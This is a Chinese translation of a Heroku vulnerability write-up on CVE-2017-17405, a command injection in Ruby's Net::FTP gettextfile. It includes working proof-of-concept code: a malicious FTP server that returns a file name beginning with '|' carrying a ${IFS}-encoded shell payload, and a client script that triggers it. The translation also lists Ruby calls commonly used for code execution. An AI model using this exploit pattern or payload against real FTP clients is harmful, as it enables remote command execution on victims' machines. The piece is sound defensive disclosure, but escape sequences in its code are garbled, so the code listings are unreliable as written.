Ruby CVE-2017-17405漏洞深入分析:发现Ruby FTP实现中的漏洞

译者总结:
Heroku的团队通过对libcurl的CVE-2017-8817的FTP漏洞进行分析,并查找相似问题,发现了Ruby的FTP漏洞CVE-2017-17405(好像也没什么相似之处↓)。
CVE-2017-8817是libcurl的FTP函数存在越界读问题。
CVE-2017-17405是Ruby的FTP实现中使用了open函数,在一定条件下会使用FTP服务器所返回的文件名,进而得到open(“| command”)的形式来进行命令执行。

在Heroku,我们会持续的关注漏洞feed来得知新的漏洞。一旦新的漏洞发布,我们会对其进行分类并确定我们的平台和客户可能受到的影响。其中部分分析过程涉及评估原始漏洞报告中未提及的可能的攻击场景。我们也同样花时间寻找其他产品中的“相邻”和类似的错误。在此过程中发现了以下Ruby漏洞。

漏洞分类

CVE-2017-8817是一个libcurl漏洞。FTP函数在处理通配符时存在越界读取问题。只要漏洞被公开,我们会通过我们的各种系统来确定他们的影响范围与如何进行修补。Heroku的系统中所使用的libcurl被确定,并被标记为待打补丁。一旦我们确认所有实例都被标记,我们就开始研究可能存在类似问题的其他库。根据直觉,并且大量客户使用Ruby,我们决定查看Ruby的FTP实现。我们的方法是双重的,首先要确定Ruby是否使用libcurl为其FTP功能,如果是的话,这个漏洞是否可以在Ruby应用程序中触发。其次确定Ruby是否有自定义的FTP实现,是否也允许使用FTP通配符,如果使用,则确定问题是否存在于该实现中。

为了做我们的研究,我们下载了现在当下最新版的Ruby源代码(2.4.2版),并且grep到任何提及FTP的位置。

$ grep -i ftp -R *

ChangeLog:net/ftp: add a new option ssl_handshake_timeout to Net::FTP.new.
ChangeLog:net/ftp: close the socket directly when an error occurs during TLS handshake.
ChangeLog:Otherwise, @sock.read in Net::FTP#close hungs until read_timeout exceeded.
ChangeLog:net/ftp: close the connection if the TLS handshake timeout is exceeded.

事实证明,Ruby有它自己的FTP库,并且它被打包为net / ftp。我们开始研究lib / net文件夹,本以为其中会有一个C语言实现的FTP库。结果发现只有一个孤立的ftp.rb文件,它仅有1496行代码。

漏洞

在阅读ftp.rb中的代码时,有几个常见的可疑点需要注意:

  • command
  • %x/command/
  • IO.popen(command)
  • Kernel.exec
  • Kernel.system
  • Kernel.open("| command")open("| command")

上述所有函数都是在Ruby应用程序中进行远程代码执行(RCE)的常用向量,因此它们是代码分析过程中首要考虑的项目之一。确定一些用于访问文件进行读写的open函数的位置并不需要很长时间。

看看这个gettextfile函数,我们可以看到一个用户可控数据的open调用:

778     #
779     # Retrieves +remotefile+ in ASCII (text) mode, storing the result in
780     # +localfile+.
781     # If +localfile+ is nil, returns retrieved data.
782     # If a block is supplied, it is passed the retrieved data one
783     # line at a time.
784     #
785     def gettextfile(remotefile, localfile = File.basename(remotefile),
786                     &block) # :yield: line
787       f = nil
788       result = nil
789       if localfile
790         f = open(localfile, "w")
791       elsif !block_given?
792         result = String.new
793       end
794       begin
795         retrlines("RETR #{remotefile}") do |line, newline|
796           l = newline ? line + "n" : line
797           f&.print(l)
798           block&.(line, newline)
799           result&.concat(l)
800         end
801         return result
802       ensure
803         f&.close
804       end
805     end

localfile如果该值为| os command将会触发命令执行。在一般用途中,大多数用户会提供自己的localfile值,不会依赖于默认值File.basename(remotefile)。但在某些情况下(例如列出和下载FTP中的所有文件),remotefile值将由远程主机控制,因此可能被操纵导致RCE。由于文件路径只是服务器返回的字符串(例如ls -l风格的LIST命令,还有NLIST命令的文件名),因此不能保证所给文件名将是有效的文件名。

PoC

我们编写了一个可用于漏洞测试的基本Ruby客户端。此客户端只需连接到服务器,请求文件列表,然后尝试下载所有文件。

require 'net/ftp'
host = '172.17.0.4'
port = 2121

Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
 ftp.login
 fileList = ftp.nlst('*')
 fileList.each do |file|
       ftp.gettextfile(file)
 end
end

我们的服务器需要给NLIST响应包含我们要执行的命令的文件名。由于没有对提供的文件名进行验证或清洗,它将会直接传递给open函数,并执行命令。唯一需要注意的是我们的“文件名”需要从头开始|

下面的PoC服务器代码不是您见过的最好的Ruby代码,但足以触发此漏洞并产生RCE。服务器需要模拟FTP连接的握手。这使得客户认为它正在连接到一个真实的FTP服务器,并且尽量让客户端请求一个文件列表。

require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')

server = TCPServer.new port

loop do
 Thread.start(server.accept) do |client|
   client.puts "220 Attack FTPrn"
   r = client.gets
   puts r
   client.puts "331 password please - version checkrn"
   r = client.gets
   puts r
   client.puts "230 User logged inrn"
   r = client.gets
   puts r
   client.puts "230 more data please!rn"
   r = client.gets
   puts r
   client.puts "230 more data please!rn"
   r = client.gets
   puts r
   wait = true
   psv = Thread.new do
       pserver = TCPServer.new 23461
       Thread.start(pserver.accept) do |pclient|
           while wait do
           end
           pclient.puts "|echo${IFS}$(id)${IFS}>pangrn"
           pclient.close
       end
   end

   sleep 1

   client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)rn"
   r = client.gets
   puts r

   psv.join

   client.puts "150 Here comes the directory listing.rn"
   wait = false

   client.puts "226 Directory send OK.rn"
   r = client.gets
   puts r
   client.puts "221 goodbyern"
   client.close
 end
end

当我们使用pclient.puts "|echo${IFS}$(id)${IFS}>pangrn"来提供filelist,将会使echo $(id) > pang连接客户端上运行。如果利用成功,我们会看到在客户端上创建的新文件,其中包含id命令的输出。虽然不是必须的,我们将空格“编码”为${IFS},这是一个称为内部字段分隔符的特殊shell变量。这在空格导致payload出现问题的情况下非常有效。

rubyCVEscreenshot

报告和修复

我们在发现问题之后不久就向Ruby团队报告了这个漏洞。反应非常好,漏洞在几个小时内得到修复。

Ruby团队只是用File.open函数替换了open函数,而File.open函数不容易受到命令注入的影响。

该修复包含在Ruby 2.4.3版的稳定版本中。漏洞也被分配了CVE-2017-17405的CVE编号。

以下版本的Ruby都受到此漏洞的影响:

  • Ruby 2.2系列:2.2.8及更早版本
  • Ruby 2.3系列:2.3.5及更早版本
  • Ruby 2.4系列:2.4.2及更早版本
  • Ruby 2.5系列:2.5.0-preview1
  • 在主干修订版r61242之前

结论

系统卫生(短暂性,不变性,修补等)是安全系统的基础。

围绕被修补的漏洞进行安全和开放的交流可以提高对我们对整个计算生态系统的类似弱点的认识。您可以认为这是我们对各类漏洞的免疫力进化,从而保护我们的基础架构。

在Heroku,我们密切关注安全研究和漏洞披露。我们对漏洞进行安全讨论中的信念和投资有助于确保我们的软件保持最新,并保护我们的客户。

补丁管理是安全生命周期的组成部分,不能仅仅是应用补丁的静态过程。查看并理解修补漏洞的原理可以帮助识别受影响软件中的新漏洞(甚至在完全不同的软件包)。我们密切关注安全研究和漏洞披露,确保我们的软件保持最新状态,并保护我们的客户。

(完)